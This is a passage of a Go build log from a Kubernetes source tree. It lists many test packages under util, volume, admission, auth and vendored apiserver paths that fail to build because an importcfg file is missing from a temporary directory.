fail\tk8s.io/kubernetes/pkg/util/ipset  build failed \r fail\tk8s.io/kubernetes/pkg/util/ipset/testing  build failed \r fail\tk8s.io/kubernetes/pkg/util/iptables  build failed \r fail\tk8s.io/kubernetes/pkg/util/ipvs  build failed \r fail\tk8s.io/kubernetes/pkg/util/ipvs/testing  build failed \r fail\tk8s.io/kubernetes/pkg/util/labels  build failed \r fail\tk8s.io/kubernetes/pkg/util/metrics  build failed \r go build k8s.io/kubernetes/pkg/util/oom.test: open /tmp/go-build138919994/b3674/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/netsh.test: open /tmp/go-build138919994/b3668/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/parsers.test: open /tmp/go-build138919994/b3677/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/node.test: open /tmp/go-build138919994/b3671/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/procfs.test: open /tmp/go-build138919994/b3683/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/pod.test: open /tmp/go-build138919994/b3680/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/mount.test: open /tmp/go-build138919994/b3659/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/removeall.test: open /tmp/go-build138919994/b3686/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/slice.test: open /tmp/go-build138919994/b3689/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/tail.test: open /tmp/go-build138919994/b3695/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/system.test: open /tmp/go-build138919994/b3692/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/util/mount  build failed \r fail\tk8s.io/kubernetes/pkg/util/net  build failed \r fail\tk8s.io/kubernetes/pkg/util/net/sets  build failed \r fail\tk8s.io/kubernetes/pkg/util/netsh  build failed \r fail\tk8s.io/kubernetes/pkg/util/node  build failed \r fail\tk8s.io/kubernetes/pkg/util/oom  build failed \r fail\tk8s.io/kubernetes/pkg/util/parsers  build failed \r fail\tk8s.io/kubernetes/pkg/util/pod  build failed \r fail\tk8s.io/kubernetes/pkg/util/procfs  build failed \r fail\tk8s.io/kubernetes/pkg/util/removeall  build failed \r fail\tk8s.io/kubernetes/pkg/util/slice  build failed \r fail\tk8s.io/kubernetes/pkg/util/system  build failed \r fail\tk8s.io/kubernetes/pkg/util/tail  build failed \r go build k8s.io/kubernetes/pkg/util/tolerations.test: open /tmp/go-build138919994/b3701/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/taints.test: open /tmp/go-build138919994/b3698/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/util/taints  build failed \r fail\tk8s.io/kubernetes/pkg/util/tolerations  build failed \r go build k8s.io/kubernetes/pkg/volume/awsebs.test: open /tmp/go-build138919994/b3710/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/azure_dd.test: open /tmp/go-build138919994/b3713/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/azure_file.test: open /tmp/go-build138919994/b3716/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/cephfs.test: open /tmp/go-build138919994/b3719/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume.test: open /tmp/go-build138919994/b3704/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/configmap.test: open /tmp/go-build138919994/b3725/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/cinder.test: open /tmp/go-build138919994/b3722/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/volume  build failed \r fail\tk8s.io/kubernetes/pkg/volume/awsebs  build failed \r fail\tk8s.io/kubernetes/pkg/volume/azure_dd  build failed \r fail\tk8s.io/kubernetes/pkg/volume/azure_file  build failed \r fail\tk8s.io/kubernetes/pkg/volume/cephfs  build failed \r fail\tk8s.io/kubernetes/pkg/volume/cinder  build failed \r fail\tk8s.io/kubernetes/pkg/volume/configmap  build failed \r go build k8s.io/kubernetes/pkg/volume/csi/nodeinfomanager.test: open /tmp/go-build138919994/b3734/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/emptydir.test: open /tmp/go-build138919994/b3740/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/downwardapi.test: open /tmp/go-build138919994/b3737/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/csi.test: open /tmp/go-build138919994/b3728/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/fc.test: open /tmp/go-build138919994/b3743/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/flocker.test: open /tmp/go-build138919994/b3750/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/volume/csi  build failed \r fail\tk8s.io/kubernetes/pkg/volume/csi/nodeinfomanager  build failed \r fail\tk8s.io/kubernetes/pkg/volume/downwardapi  build failed \r fail\tk8s.io/kubernetes/pkg/volume/emptydir  build failed \r go build k8s.io/kubernetes/pkg/volume/flexvolume.test: open /tmp/go-build138919994/b3746/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/volume/fc  build failed \r fail\tk8s.io/kubernetes/pkg/volume/flexvolume  build failed \r fail\tk8s.io/kubernetes/pkg/volume/flocker  build failed \r go build k8s.io/kubernetes/pkg/volume/git_repo.test: open /tmp/go-build138919994/b3756/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/glusterfs.test: open /tmp/go-build138919994/b3759/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/host_path.test: open /tmp/go-build138919994/b3762/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/gcepd.test: open /tmp/go-build138919994/b3753/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/iscsi.test: open /tmp/go-build138919994/b3765/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/nfs.test: open /tmp/go-build138919994/b3771/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/volume/gcepd  build failed \r fail\tk8s.io/kubernetes/pkg/volume/git_repo  build failed \r fail\tk8s.io/kubernetes/pkg/volume/glusterfs  build failed \r fail\tk8s.io/kubernetes/pkg/volume/host_path  build failed \r go build k8s.io/kubernetes/pkg/volume/local.test: open /tmp/go-build138919994/b3768/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/volume/iscsi  build failed \r fail\tk8s.io/kubernetes/pkg/volume/local  build failed \r fail\tk8s.io/kubernetes/pkg/volume/nfs  build failed \r go build k8s.io/kubernetes/pkg/volume/portworx.test: open /tmp/go-build138919994/b3777/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/photon_pd.test: open /tmp/go-build138919994/b3774/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/projected.test: open /tmp/go-build138919994/b3780/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/quobyte.test: open /tmp/go-build138919994/b3783/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/volume/photon_pd  build failed \r fail\tk8s.io/kubernetes/pkg/volume/portworx  build failed \r fail\tk8s.io/kubernetes/pkg/volume/projected  build failed \r fail\tk8s.io/kubernetes/pkg/volume/quobyte  build failed \r go build k8s.io/kubernetes/pkg/volume/scaleio.test: open /tmp/go-build138919994/b3789/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/rbd.test: open /tmp/go-build138919994/b3786/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/secret.test: open /tmp/go-build138919994/b3792/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/storageos.test: open /tmp/go-build138919994/b3795/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/volume/rbd  build failed \r fail\tk8s.io/kubernetes/pkg/volume/scaleio  build failed \r fail\tk8s.io/kubernetes/pkg/volume/secret  build failed \r fail\tk8s.io/kubernetes/pkg/volume/storageos  build failed \r go build k8s.io/kubernetes/pkg/volume/util/nestedpendingoperations.test: open /tmp/go-build138919994/b3801/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/validation.test: open /tmp/go-build138919994/b3810/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/util/recyclerclient.test: open /tmp/go-build138919994/b3807/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/util/operationexecutor.test: open /tmp/go-build138919994/b3804/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/admit.test: open /tmp/go-build138919994/b3816/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/util.test: open /tmp/go-build138919994/b3798/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/alwayspullimages.test: open /tmp/go-build138919994/b3819/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/volume/vsphere_volume.test: open /tmp/go-build138919994/b3813/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/antiaffinity.test: open /tmp/go-build138919994/b3822/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/volume/util  build failed \r fail\tk8s.io/kubernetes/pkg/volume/util/nestedpendingoperations  build failed \r fail\tk8s.io/kubernetes/pkg/volume/util/operationexecutor  build failed \r fail\tk8s.io/kubernetes/pkg/volume/util/recyclerclient  build failed \r fail\tk8s.io/kubernetes/pkg/volume/validation  build failed \r go build k8s.io/kubernetes/plugin/pkg/admission/deny.test: open /tmp/go-build138919994/b3828/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/defaulttolerationseconds.test: open /tmp/go-build138919994/b3825/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/eventratelimit/apis/eventratelimit/validation.test: open /tmp/go-build138919994/b3834/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/volume/vsphere_volume  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/admit  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/alwayspullimages  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/antiaffinity  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/defaulttolerationseconds  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/deny  build failed \r go build k8s.io/kubernetes/plugin/pkg/admission/extendedresourcetoleration.test: open /tmp/go-build138919994/b3840/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/exec.test: open /tmp/go-build138919994/b3837/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/gc.test: open /tmp/go-build138919994/b3843/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/eventratelimit.test: open /tmp/go-build138919994/b3831/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/plugin/pkg/admission/eventratelimit  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/eventratelimit/apis/eventratelimit/validation  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/exec  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/extendedresourcetoleration  build failed \r go build k8s.io/kubernetes/plugin/pkg/admission/imagepolicy.test: open /tmp/go-build138919994/b3846/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/plugin/pkg/admission/gc  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/imagepolicy  build failed \r go build k8s.io/kubernetes/plugin/pkg/admission/namespace/autoprovision.test: open /tmp/go-build138919994/b3852/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/namespace/exists.test: open /tmp/go-build138919994/b3855/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/nodetaint.test: open /tmp/go-build138919994/b3861/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/limitranger.test: open /tmp/go-build138919994/b3849/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/podnodeselector.test: open /tmp/go-build138919994/b3864/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/plugin/pkg/admission/limitranger  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/namespace/autoprovision  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/namespace/exists  build failed \r go build k8s.io/kubernetes/plugin/pkg/admission/podpreset.test: open /tmp/go-build138919994/b3867/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/podtolerationrestriction/apis/podtolerationrestriction/validation.test: open /tmp/go-build138919994/b3873/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/podtolerationrestriction.test: open /tmp/go-build138919994/b3870/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/noderestriction.test: open /tmp/go-build138919994/b3858/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/priority.test: open /tmp/go-build138919994/b3876/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/plugin/pkg/admission/noderestriction  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/nodetaint  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/podnodeselector  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/podpreset  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/podtolerationrestriction  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/podtolerationrestriction/apis/podtolerationrestriction/validation  build failed \r go build k8s.io/kubernetes/plugin/pkg/admission/resourcequota/apis/resourcequota/validation.test: open /tmp/go-build138919994/b3882/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/plugin/pkg/admission/priority  build failed \r go build k8s.io/kubernetes/plugin/pkg/admission/securitycontext/scdeny.test: open /tmp/go-build138919994/b3888/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/security/podsecuritypolicy.test: open /tmp/go-build138919994/b3885/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/resourcequota.test: open /tmp/go-build138919994/b3879/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/storage/persistentvolume/label.test: open /tmp/go-build138919994/b3894/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/serviceaccount.test: open /tmp/go-build138919994/b3891/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/plugin/pkg/admission/resourcequota  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/resourcequota/apis/resourcequota/validation  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/security/podsecuritypolicy  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/securitycontext/scdeny  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/serviceaccount  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/storage/persistentvolume/label  build failed \r go build k8s.io/kubernetes/plugin/pkg/admission/storage/persistentvolume/resize.test: open /tmp/go-build138919994/b3897/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/storage/storageobjectinuseprotection.test: open /tmp/go-build138919994/b3903/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/admission/storage/storageclass/setdefault.test: open /tmp/go-build138919994/b3900/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/auth/authenticator/token/bootstrap.test: open /tmp/go-build138919994/b3906/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/plugin/pkg/admission/storage/persistentvolume/resize  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/storage/storageclass/setdefault  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/admission/storage/storageobjectinuseprotection  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/auth/authenticator/token/bootstrap  build failed \r go build k8s.io/kubernetes/test/conformance.test: open /tmp/go-build138919994/b3919/importcfg: no such file or directory\r go build k8s.io/kubernetes/test/images/crd-conversion-webhook/converter.test: open /tmp/go-build138919994/b3922/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/auth/authorizer/rbac.test: open /tmp/go-build138919994/b3912/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/auth/authorizer/node.test: open /tmp/go-build138919994/b3909/importcfg: no such file or directory\r go build k8s.io/kubernetes/test/list.test: open /tmp/go-build138919994/b3928/importcfg: no such file or directory\r go build k8s.io/kubernetes/test/images/webhook.test: open /tmp/go-build138919994/b3925/importcfg: no such file or directory\r go build k8s.io/kubernetes/test/typecheck.test: open /tmp/go-build138919994/b3931/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/plugin/pkg/auth/authorizer/node  build failed \r fail\tk8s.io/kubernetes/plugin/pkg/auth/authorizer/rbac  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.test: open /tmp/go-build138919994/b3937/importcfg: no such file or directory\r go build k8s.io/kubernetes/plugin/pkg/auth/authorizer/rbac/bootstrappolicy.test: open /tmp/go-build138919994/b3915/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/configuration.test: open /tmp/go-build138919994/b3940/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/initializer.test: open /tmp/go-build138919994/b3943/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/plugin/pkg/auth/authorizer/rbac/bootstrappolicy  build failed \r fail\tk8s.io/kubernetes/test/conformance  build failed \r fail\tk8s.io/kubernetes/test/images/crd-conversion-webhook/converter  build failed \r fail\tk8s.io/kubernetes/test/images/webhook  build failed \r fail\tk8s.io/kubernetes/test/list  build failed \r fail\tk8s.io/kubernetes/test/typecheck  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/configuration  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/initializer  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/errors.test: open /tmp/go-build138919994/b3952/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics.test: open /tmp/go-build138919994/b3946/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/initializer.test: open /tmp/go-build138919994/b3961/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/namespace/lifecycle.test: open /tmp/go-build138919994/b3949/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/namespace/lifecycle  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/errors  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/generic.test: open /tmp/go-build138919994/b3955/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/rules.test: open /tmp/go-build138919994/b3972/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/generic  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/initializer  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/namespace.test: open /tmp/go-build138919994/b3969/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/audit/install.test: open /tmp/go-build138919994/b3978/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating.test: open /tmp/go-build138919994/b3964/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/validating.test: open /tmp/go-build138919994/b3975/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/namespace  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/rules  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/validating  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/audit/install  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/audit/v1alpha1.test: open /tmp/go-build138919994/b3982/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/audit/validation.test: open /tmp/go-build138919994/b3988/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/audit/v1beta1.test: open /tmp/go-build138919994/b3985/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/example/install.test: open /tmp/go-build138919994/b3991/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/example2/install.test: open /tmp/go-build138919994/b3995/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/audit/v1alpha1  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/audit/v1beta1  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/audit/validation  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/example/install  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/example2/install  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/audit/event.test: open /tmp/go-build138919994/b4001/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/audit/util.test: open /tmp/go-build138919994/b4007/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/audit.test: open /tmp/go-build138919994/b3998/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/authenticator.test: open /tmp/go-build138919994/b4010/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/audit  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/audit/event  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/group.test: open /tmp/go-build138919994/b4013/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/audit/policy.test: open /tmp/go-build138919994/b4004/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/anonymous.test: open /tmp/go-build138919994/b4016/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/bearertoken.test: open /tmp/go-build138919994/b4019/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/audit/policy  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/audit/util  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/authenticator  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/group  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/anonymous  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/bearertoken  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/union.test: open /tmp/go-build138919994/b4025/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/headerrequest.test: open /tmp/go-build138919994/b4022/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/websocket.test: open /tmp/go-build138919994/b4028/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/headerrequest  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/union  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/x509.test: open /tmp/go-build138919994/b4031/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/serviceaccount.test: open /tmp/go-build138919994/b4034/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/websocket  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/token/cache.test: open /tmp/go-build138919994/b4037/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/x509  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/serviceaccount  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/token/union.test: open /tmp/go-build138919994/b4043/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/token/tokenfile.test: open /tmp/go-build138919994/b4040/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/token/cache  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authorization/authorizerfactory.test: open /tmp/go-build138919994/b4046/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authorization/path.test: open /tmp/go-build138919994/b4049/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/token/tokenfile  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/token/union  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authorization/authorizerfactory  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authorization/path  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authorization/union.test: open /tmp/go-build138919994/b4052/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authorization/union  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/discovery.test: open /tmp/go-build138919994/b4059/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.test: open /tmp/go-build138919994/b4062/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/negotiation.test: open /tmp/go-build138919994/b4068/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.test: open /tmp/go-build138919994/b4071/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.test: open /tmp/go-build138919994/b4065/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.test: open /tmp/go-build138919994/b4074/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/openapi.test: open /tmp/go-build138919994/b4077/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.test: open /tmp/go-build138919994/b4081/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/rest.test: open /tmp/go-build138919994/b4087/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest.test: open /tmp/go-build138919994/b4090/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints.test: open /tmp/go-build138919994/b4055/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry.test: open /tmp/go-build138919994/b4084/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.test: open /tmp/go-build138919994/b4096/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/discovery  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/negotiation  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/openapi  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.test: open /tmp/go-build138919994/b4102/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/rest  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/healthz.test: open /tmp/go-build138919994/b4099/importcfg: no such file or directory\r go build 